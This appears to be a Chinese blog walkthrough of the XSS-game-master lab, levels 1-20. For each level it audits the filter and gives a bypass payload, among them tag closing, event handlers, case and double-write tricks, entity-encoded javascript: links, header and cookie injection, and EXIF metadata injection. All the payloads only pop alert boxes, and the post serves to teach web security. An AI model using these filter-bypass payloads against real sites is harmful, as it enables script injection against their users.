酒逢知己饮,诗向会人吟。

环境准备

PHP study
XSS-game-master 源码

level1

① 审计代码

对参数的输入输出没有做严格过滤。

② 解题思路

直接构造 js 脚本

?name=<script>alert('xss')</script>

如果 phpstydy 默认开启 magic_quotes_gpc 的话,会将单引号进行转义,即在单引号之前添加一个反斜杠,可以使用以下 payload 进行绕过

?name=<script>alert(/xss/)</script>

也可以使用以下代码对转义添加的反斜杠进行删除。

if(get_magic_quotes_gpc)
{$str = stripcslashes($str);
}

level 2

① 审计代码

  1. 使用 get 方法直接获取用户输入。
  2. 使用 htmlspecialchars() 函数对参数进行转义然后返回给浏览器进行输出
  3. 直接在 input 标签中输出。
htmlspecialchars()函数定义及用法在php中,htmlspecialchars()函数是使用来把一些预定义的字符转换为HTML实体,
返回转换后的新字符串,原字符串不变。如果 string 包含无效的编码,则返回一个
空的字符串,除非设置了 ENT_IGNORE 或者 ENT_SUBSTITUTE 标志;
被转换的预定义的字符有:
&:转换为&amp;
":转换为&quot;
':转换为成为 '
<:转换为&lt;
>:转换为&gt;

② 解题思路

闭合 input 标签,然后插入脚本

"><script>alert(/xss/)</script>

闭合之后的 input 标签如下,后面多余的部分由于 html 有一定的容错率,所以不影响。

level 3

① 审计代码

② 解题思路

  1. 单引号闭合
  2. 相比较 level 2,在 input 标签中使用 htmlspecialchars() 函数进行转义,考虑用 on 事件进行绕过,注意使用注释符。
' onclick = alert('xss')//
或者
' onmouseover = alert('xss')//

level 4

① 审计代码

对尖括号进行过滤,替换为空。

② 解题思路

  1. 双引号闭合
  2. on 事件绕过,结合注释符
" onclick = alert('xss')//
或者
" onmouseover = alert('xss')//

level 5

① 代码审计

  1. 对输入转换为小写
  2. 对关键字进行过滤

② 解题思路

  1. 关键字过滤不全,可以使用 a 标签
  2. 双引号闭合
"><a href = "javascript:alert('xss')">click me

level 6

① 审计代码

  1. 直接获取用户输入参数
  2. 对关键字进行转义
  3. 直接输出在 input 标签

② 解题思路

相比 level 5,添加了更多的关键字进行转义,但是对用户输入的参数没有进行转换为小写,所以可以用大写绕过。

"><SCript>alert('xss')</scRipt>

level 7

① 代码审计

  1. 将用户的输入参数转为小写
  2. 将关键字替换为空

② 解题思路

对关键字替换为空且只替换一次。故可以采用双写绕过。

"><scrscriptipt>alert('xss')</scrscriptipt>

level 8

① 代码审计

  1. 将输入转换为小写
  2. 对关键字进行转义
  3. 在 input 标签中将输入进行 HTML 实体化

②解题思路

使用为协议绕过。javascript:alert(‘xss’)
同时要对 script 进行 HTML 编码

注意:<img src=1 onerror="javascript:%61lert(1)"> 不可成功执行
因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转
同时后面的url编码可以再做一次entity(HTML实体)编码:
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('xss')
如果用 Hackbar 提交参数的话,要先进行 URL 编码

level 9

① 代码审计

相比 level 8 ,此关多了一个检测 http:// 的步骤

② 解题思路

  1. 在输入参数中添加 http:// 字段
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

level 10

① 代码审计

  1. 有两处输入,keyword 和 t_sort,但只有 t_sort 有效。
  2. 对参数的尖括号进行替换为空
  3. 有效的 input 标签类型为 hidden

② 解题思路

  1. 使用 t_sort 接受用户输入
  2. 使用 on 事件进行尖括号绕过
  3. 将 t_sort 的 input 标签中的类型有隐藏设置为可见
  4. 双引号闭合
" onclick = alert('xss') type = "text"
或者
" onmouseover = alert('xss') type = "text"

level 11

① 代码审计

  1. 两处输入:keyword 和 t_sort
  2. keyword 和 t_sort都是以 HTML 实体输出,且 t_sort 的 input 标签还是隐藏的,htmlspecialchars() 函数能转义双引号。
  3. referer 参数过滤尖括号之后直接输出

② 解题思路

使用 burpsuite 改包,将 referer 参数的后面添加 on 事件
注意:必须是截取从 level10 到 level11 的请求包才有 referer 参数
(或者使用 Herder Modify 插件修改 HTTP 头部,更方便!!!)

(referer参数)" οnclick=alert('xss') type = "text"
或者
(referer参数)" onmouseover=alert('xss') type = "text"

level 12

① 审计代码

相比 level 11,此时获取的是 HTTP 请求包的 user_agent 参数

② 解题思路

  1. 修改数据包的 user_agent 参数
  2. 使用 on 事件
  3. 双引号闭合
(user_agent 参数)"onclick = alert('xss') type = "text"
或者
(user_agent 参数)"onmouseover = alert('xss') type = "text"

level 13

① 审计代码

相比较 level 12 ,此 level 获取 cookie 参数

② 解题思路

截包修改 cookie 参数

level 14

详情百度 exif XSS ,该题没有复现。

① 审计代码

源码中内嵌了一个链接,该链接旨在解析上传图片的 exif 信息。

② 解题思路

在上传图片的 exif 元数据中插入 XSS payload ,通过 exif 解析器来触发。
修改 exif 信息的方法。
Windows 系统:右键图片 – 属性 – 详细信息
Linux 系统:

  1. 查看图片详情
    exiftool brute.jpeg
  2. 将 xss 代码写入图片某个属性
    exiftool -artist=' "><img src=1 onerror=alert(1)>' brute.jpeg

level 15

① 审计代码

AngularJS ng-include 指令

定义和用法
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。

② 解题思路

前提是要能访问得到 https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js(这里是翻了墙才访问得到)
类似于文件包含。

?src='level1.php?name=<img src=1 οnerrοr=alert(1)>'

level 16

① 审计代码

  1. 对输入参数转换为小写
  2. 对空格进行转义
  3. 参数输出页面

② 解题思路

  1. 使用 img 标签
  2. 用 %0a 或 %0d 代替空格
?keyword=<img%0Dsrc=1%0Aonerror=alert(1)>

level 17

① 审计代码

<embed>元素将外部内容嵌入文档中的指定位置。此内容由外部应用程序或其他交互式内容源(如浏览器插件)提供。

② 解题思路

<embed src="xsf01.swf?a=b" heigth="100%" width="100%">

<embed src="xsf01.swf?a=b" onclick="alert(333)" heigth="100%" width="100%">
在源码的embed标签中,src的属性值没有引号,所以在输入arg02时在b之后加一个空格,浏览器到b就停止判断,给src加上双引号;而将onmouseover看作另外一个属性

level 18

level 18 绕过原理和 level 17 一样

level 19-20

详情百度 flash xss

                                                                                                                                                                      猪头2020.1.8

XSS-challenge相关推荐

  1. 050 XSS通关小游戏——xss challenge

    文章目录 一:下载与部署 二:通关过程 首页 level-01 没有任何机制 level-02 双引号闭合标签 level-03 单引号闭合标签+html事件 level-04 双引号闭合标签+htm ...

  2. xss challenge 解题思路(8-18)

    challenge 8: js伪协议的应用,请使用ie浏览器 输入如下javascript:alert(document.domain); challenge 9 : 提示要用utf-7 xss来做, ...

  3. xss challenge 解题思路(1-3)

    challenge1: 用很基本的方法即可,截图如下: 提交后成功弹窗,完成. challenge2 这次我们发现我们输入的内容被放入value="" 中,所以需要将前面的结构闭合 ...

  4. 【20171025中】alert(1) to win 脚本渲染自建

    游戏误人生,一下午玩了将近四个小时的三国杀,后悔不已,然后重新拾起xss challenge,突发奇想,自己构建渲染后的html. 从最简单的开始. 自动检测html: <!DOCTYPE ht ...

  5. 乌鸦安全2021年度文章合集

    微信公众号:乌鸦安全 扫取二维码获取更多信息! 说明 乌鸦安全精选原创文章合集,基本上大部分都是原创,当然还有一部分文章由其他师傅投稿提供,在此感谢各位师傅的投稿和帮助! 文章末尾有现金红包奉上! 你 ...

  6. 【Web安全笔记】之【4.0 常见漏洞攻防】

    文章目录 4.0 常见漏洞攻防 4.1 SQL注入 4.1.1 注入分类 1. 简介 2. 按技巧分类 1). 盲注 2). 报错注入 3). 堆叠注入 3. 按获取数据的方式分类 1). inban ...

  7. 86.3 安全性问题 xss、DDOS、CC、sql注入 攻击等

    主键id 暴露在url 中会暴露表的总量,而且如果监视一段时间主键,就能很低成本地得到这个网站的用户增量. Cookie中的信息是明文保存的,意味着攻击者可以通过猜测并伪造Cookie数据破解系统. ...

  8. XSS注入进阶练习篇(三) XSS原型链污染

    XSS原型链污染 1.原型链的概念 1.1 构造函数的缺点 1.2 prototype 属性的作用 1.3 原型链 1.4 `constructor`属性 1.5 `prototype`和`__pro ...

  9. [WP/CTFshow]XSS Web316-333

    CTFSHOW WP 题目的原理就是靶机的bot每隔一段时间访问输入的内容,模拟了反射型XSS 316.需要配套接收端XSS脚本 如果未过滤script且对外部资源加载无限制的情况下,可以指定src为 ...

  10. ctfshow XSS web316-web333 wp

    可能写的有点啰嗦,记录自己做题的过程 文章目录 web316 web317 web318 web319 web320 web321 web322 web323 web324 web325 web326 ...

最新文章

  1. Oracle数据文件转移
  2. Squid配置二级代理(父代理)
  3. golang 删除目录所有内容
  4. 现在使用控件, 更喜欢继承(覆盖控件已有的函数,很奇怪的一种使用方式)...
  5. 文巾解题 15. 三数之和
  6. 一文整理深度学习【深度学习win10的Docker配置】
  7. SAP Commerce Cloud Build Manifest Components
  8. mysql正则替换字符串_mysql中替换字符串(正则) 模糊
  9. 在CentOs7上yum安装redis
  10. 企业实战(Jenkins+GitLab+SonarQube)_12_Jenkins+soanr服务器搭建和代码检查
  11. 【手把手带你入门深度学习之150行代码的汉字识别系统】学习笔记 ·003 用训练模型进行预测
  12. Get Network Utilization
  13. 怎么通过scanf读取一个空白前的字符
  14. 【数学建模】算法模型(三)|模糊综合和灰色关联分析 元胞自动机模型 图论 BP神经网络算法 马尔可夫链蒙特卡罗算法(MCMC)
  15. 《WF本质论》第一章OpenSesame我的实现
  16. 阿里巴巴矢量图标库使用
  17. 分享Word如何转PDF的方法,还不快来看看
  18. 火山视频在一键去水印网站上解析教程,火山视频去水印教程
  19. 北京的哪些地方开的发票可参与国家税务局的摇奖
  20. windows vista本该有却没有的功能

热门文章

  1. nats streaming订阅
  2. 疯狂的架构——著名科技公司组织结构图一览
  3. Echarts实现饼图+饼图中心文字显示
  4. Keil暗色模式配置文件
  5. RT-Thread,env.exe运行pkgs --update,无法更新软件包
  6. Jenkins 自动化部署流水线优化经验
  7. 中央电大 c语言程序设计a 试题,中央电大开放本科计算机科学与技术专业C语言程序设计(A)试题_1007...
  8. matlab氢原子杂化轨道,原子及分子轨道演示软件——Orbital Viewer
  9. 通信工程和计算机考研哪个好,通信工程考研还是就业
  10. 设计n位乘加器(先乘后加)Design a n-bit multiplier (firstly multiply and then add)